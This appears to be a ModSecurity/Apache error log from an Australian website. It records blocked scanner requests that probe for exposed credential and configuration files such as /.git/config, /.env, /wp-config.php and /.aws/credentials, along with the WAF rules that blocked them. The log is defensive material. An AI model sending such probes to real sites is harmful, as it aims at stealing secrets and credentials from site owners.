[Sat Nov 29 13:25:24.913098 2025] [:error] [pid 20827:tid 20880] [client 213.21.239.4:34206] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/store/.svn/wc.db"] [unique_id "aSqDxIR9B7FcLfh1rSFWVgAAAFY"]
[Sat Nov 29 13:25:24.913873 2025] [:error] [pid 20915:tid 20938] [client 213.21.239.4:34272] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/static../.svn/wc.db"] [unique_id "aSqDxFOOtKw1QZ3TPESmzQAAANU"]
[Sat Nov 29 13:25:24.917921 2025] [:error] [pid 20828:tid 20886] [client 213.21.239.4:34224] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-content/.svn/wc.db"] [unique_id "aSqDxOqW2f0jLRABAORUCAAAAIE"]
[Sat Nov 29 13:25:24.917949 2025] [:error] [pid 62619:tid 62641] [client 213.21.239.4:34228] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/.svn/wc.db"] [unique_id "aSqDxNk7ZYKT63FfVSUjdAAAAVQ"]
[Sat Nov 29 13:25:24.918106 2025] [:error] [pid 20827:tid 20878] [client 213.21.239.4:34264] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/uat/.svn/wc.db"] [unique_id "aSqDxIR9B7FcLfh1rSFWVwAAAFQ"]
[Sat Nov 29 13:25:24.919048 2025] [:error] [pid 20826:tid 20850] [client 213.21.239.4:34266] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/static/.svn/wc.db"] [unique_id "aSqDxPABfBqk70vKX9R4OQAAABQ"]
[Sat Nov 29 14:12:59.567932 2025] [:error] [pid 32136:tid 32151] [client 159.203.97.230:34000] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSqO68Sj_WSVQM1psKpRHwAAAQ0"]
[Sat Nov 29 14:13:02.541218 2025] [:error] [pid 20827:tid 20861] [client 159.203.97.230:49952] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSqO7oR9B7FcLfh1rSFfSwAAAEM"]
[Sat Nov 29 15:00:49.700325 2025] [:error] [pid 20826:tid 20848] [client 207.154.216.0:59574] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSqaIfABfBqk70vKX9SDXgAAABI"]
[Sat Nov 29 15:00:50.425565 2025] [:error] [pid 20827:tid 20858] [client 207.154.216.0:59823] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSqaIoR9B7FcLfh1rSFrfQAAAEA"]
[Sat Nov 29 15:00:50.929036 2025] [:error] [pid 20915:tid 20939] [client 207.154.216.0:51113] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSqaIlOOtKw1QZ3TPESzSwAAANY"]
[Sat Nov 29 15:00:51.552219 2025] [:error] [pid 62619:tid 62621] [client 207.154.216.0:63074] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSqaI9k7ZYKT63FfVSUy9gAAAUA"]
[Sat Nov 29 15:00:52.586279 2025] [:error] [pid 62619:tid 62645] [client 207.154.216.0:58067] [client 207.154.216.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSqaJNk7ZYKT63FfVSUzHQAAAVg"]
[Sat Nov 29 15:14:22.837966 2025] [:error] [pid 16610:tid 16622] [client 207.154.216.0:50991] [client 207.154.216.0] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-json/"] [unique_id "aSqdTgTu2dLzNk_QISrgnAAAAYo"]
[Sat Nov 29 16:45:49.135460 2025] [:error] [pid 32136:tid 32158] [client 159.203.97.230:58506] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSqyvcSj_WSVQM1psKpwBAAAARQ"]
[Sat Nov 29 16:45:51.270004 2025] [:error] [pid 20827:tid 20863] [client 159.203.97.230:55978] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSqyv4R9B7FcLfh1rSF4BgAAAEU"]
[Sat Nov 29 18:57:40.298279 2025] [:error] [pid 25341:tid 25346] [client 35.231.218.247:56333] [client 35.231.218.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.218.247, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSrRpPWK8JdN03Mg7dxCmwAAAcE"]
[Sat Nov 29 18:57:40.310296 2025] [proxy_fcgi:error] [pid 25341:tid 25346] [client 35.231.218.247:56333] AH01071: Got error 'Primary script unknown'
[Sat Nov 29 18:57:42.942055 2025] [:error] [pid 25341:tid 25349] [client 35.231.218.247:56333] [client 35.231.218.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aSrRpvWK8JdN03Mg7dxCpwAAAcQ"]
[Sat Nov 29 18:57:43.376099 2025] [:error] [pid 37490:tid 37498] [client 35.231.218.247:57226] [client 35.231.218.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aSrRp5jG6OUSCUo6XZ0yUgAAAgY"]
[Sat Nov 29 18:57:43.913040 2025] [:error] [pid 25341:tid 25357] [client 35.231.218.247:49532] [client 35.231.218.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aSrRp_WK8JdN03Mg7dxCqAAAAcw"]
[Sat Nov 29 18:57:44.330021 2025] [:error] [pid 25341:tid 25362] [client 35.231.218.247:62664] [client 35.231.218.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aSrRqPWK8JdN03Mg7dxCqgAAAdE"]
[Sat Nov 29 18:57:44.830690 2025] [:error] [pid 20915:tid 20932] [client 35.231.218.247:53465] [client 35.231.218.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aSrRqFOOtKw1QZ3TPETdMwAAAM8"]
[Sat Nov 29 18:57:45.250737 2025] [:error] [pid 20915:tid 20940] [client 35.231.218.247:57897] [client 35.231.218.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aSrRqVOOtKw1QZ3TPETdNAAAANc"]
[Sat Nov 29 21:23:12.154881 2025] [:error] [pid 20915:tid 20931] [client 159.203.97.230:42946] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSrzwFOOtKw1QZ3TPEQGnAAAAM4"]
[Sat Nov 29 21:23:13.883013 2025] [:error] [pid 37490:tid 37509] [client 159.203.97.230:43116] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSrzwZjG6OUSCUo6XZ1SywAAAhE"]
[Sat Nov 29 23:09:30.585146 2025] [:error] [pid 62619:tid 62632] [client 13.125.107.215:40404] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aSsMqtk7ZYKT63FfVSWf8AAAAUs"]
[Sat Nov 29 23:09:31.190180 2025] [:error] [pid 32136:tid 32160] [client 13.125.107.215:40414] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aSsMq8Sj_WSVQM1psKrNQQAAARY"]
[Sat Nov 29 23:09:31.804854 2025] [:error] [pid 32136:tid 32145] [client 13.125.107.215:40420] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "aSsMq8Sj_WSVQM1psKrNRAAAAQc"]
[Sat Nov 29 23:09:32.414298 2025] [:error] [pid 25341:tid 25356] [client 13.125.107.215:40428] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.production"] [unique_id "aSsMrPWK8JdN03Mg7dx26AAAAcs"]
[Sat Nov 29 23:09:33.018735 2025] [:error] [pid 62619:tid 62626] [client 13.125.107.215:40436] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.development"] [unique_id "aSsMrdk7ZYKT63FfVSWf-gAAAUU"]
[Sat Nov 29 23:09:33.625867 2025] [:error] [pid 37490:tid 37498] [client 13.125.107.215:49140] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.bak"] [unique_id "aSsMrZjG6OUSCUo6XZ1rJwAAAgY"]
[Sat Nov 29 23:09:34.229536 2025] [:error] [pid 20826:tid 20854] [client 13.125.107.215:49150] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.example"] [unique_id "aSsMrvABfBqk70vKX9TvswAAABg"]
[Sat Nov 29 23:09:40.271545 2025] [:error] [pid 20827:tid 20868] [client 13.125.107.215:49240] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/config.ini"] [unique_id "aSsMtIR9B7FcLfh1rSG7uAAAAEo"]
[Sat Nov 29 23:09:40.889184 2025] [proxy_fcgi:error] [pid 25341:tid 25361] [client 13.125.107.215:49256] AH01071: Got error 'Primary script unknown'
[Sat Nov 29 23:09:42.102334 2025] [:error] [pid 20826:tid 20850] [client 13.125.107.215:49270] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/settings"] [unique_id "aSsMtvABfBqk70vKX9TvvAAAABQ"]
[Sat Nov 29 23:09:42.713808 2025] [:error] [pid 37490:tid 37505] [client 13.125.107.215:49280] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/settings.json"] [unique_id "aSsMtpjG6OUSCUo6XZ1rLgAAAg0"]
[Sat Nov 29 23:09:43.322427 2025] [:error] [pid 20828:tid 20893] [client 13.125.107.215:49288] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.config.js"] [unique_id "aSsMt-qW2f0jLRABAOS2sAAAAIg"]
[Sat Nov 29 23:09:43.936729 2025] [:error] [pid 20915:tid 20941] [client 13.125.107.215:52200] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpinfo.php"] [unique_id "aSsMt1OOtKw1QZ3TPEQg0QAAANg"]
[Sat Nov 29 23:09:44.552365 2025] [:error] [pid 37490:tid 37514] [client 13.125.107.215:52216] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/info.php"] [unique_id "aSsMuJjG6OUSCUo6XZ1rMAAAAhY"]
[Sat Nov 29 23:09:45.163330 2025] [:error] [pid 25341:tid 25349] [client 13.125.107.215:52230] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpversion.php"] [unique_id "aSsMufWK8JdN03Mg7dx2-QAAAcQ"]
[Sat Nov 29 23:09:45.768637 2025] [:error] [pid 20827:tid 20860] [client 13.125.107.215:52232] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/test.php"] [unique_id "aSsMuYR9B7FcLfh1rSG7uwAAAEI"]
[Sat Nov 29 23:09:46.381547 2025] [:error] [pid 62619:tid 62626] [client 13.125.107.215:52236] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin"] [unique_id "aSsMutk7ZYKT63FfVSWgCAAAAUU"]
[Sat Nov 29 23:09:46.991153 2025] [:error] [pid 37490:tid 37508] [client 13.125.107.215:52242] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "aSsMupjG6OUSCUo6XZ1rPAAAAhA"]
[Sat Nov 29 23:09:47.603313 2025] [:error] [pid 37490:tid 37494] [client 13.125.107.215:52248] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/wp-config.php"] [unique_id "aSsMu5jG6OUSCUo6XZ1rPgAAAgI"]
[Sat Nov 29 23:09:48.216767 2025] [:error] [pid 37490:tid 37498] [client 13.125.107.215:52258] [client 13.125.107.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/composer.json"] [unique_id "aSsMvJjG6OUSCUo6XZ1rQgAAAgY"]
[Sat Nov 29 23:09:48.821474 2025] [:error] [pid 20915:tid 20934] [client 13.125.107.215:52268] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws/config"] [unique_id "aSsMvFOOtKw1QZ3TPEQg1QAAANE"]
[Sat Nov 29 23:09:49.422960 2025] [:error] [pid 32136:tid 32159] [client 13.125.107.215:52276] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.aws/credentials"] [unique_id "aSsMvcSj_WSVQM1psKrNTQAAARU"]
[Sat Nov 29 23:09:50.035405 2025] [:error] [pid 62619:tid 62638] [client 13.125.107.215:52278] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aws/config"] [unique_id "aSsMvtk7ZYKT63FfVSWgCgAAAVE"]
[Sat Nov 29 23:09:50.648399 2025] [:error] [pid 32136:tid 32154] [client 13.125.107.215:52282] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aws/credentials"] [unique_id "aSsMvsSj_WSVQM1psKrNTgAAARA"]
[Sat Nov 29 23:09:51.255996 2025] [:error] [pid 37490:tid 37506] [client 13.125.107.215:52288] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aws.json"] [unique_id "aSsMv5jG6OUSCUo6XZ1rRQAAAg4"]
[Sat Nov 29 23:09:51.872477 2025] [:error] [pid 25341:tid 25350] [client 13.125.107.215:52300] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/credentials"] [unique_id "aSsMv_WK8JdN03Mg7dx3AgAAAcU"]
[Sat Nov 29 23:09:52.504327 2025] [:error] [pid 62619:tid 62623] [client 13.125.107.215:52304] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/secrets.json"] [unique_id "aSsMwNk7ZYKT63FfVSWgEQAAAUI"]
[Sat Nov 29 23:09:53.103417 2025] [:error] [pid 37490:tid 37497] [client 13.125.107.215:52308] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/keys.js"] [unique_id "aSsMwZjG6OUSCUo6XZ1rRwAAAgU"]
[Sat Nov 29 23:09:53.709544 2025] [:error] [pid 25341:tid 25367] [client 13.125.107.215:60058] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aws-keys.js"] [unique_id "aSsMwfWK8JdN03Mg7dx3BQAAAdY"]
[Sat Nov 29 23:09:54.315268 2025] [:error] [pid 16610:tid 16618] [client 13.125.107.215:60062] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mailgun"] [unique_id "aSsMwgTu2dLzNk_QISo0AgAAAYY"]
[Sat Nov 29 23:09:54.924424 2025] [:error] [pid 20827:tid 20881] [client 13.125.107.215:60076] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mailgun.json"] [unique_id "aSsMwoR9B7FcLfh1rSG7vgAAAFc"]
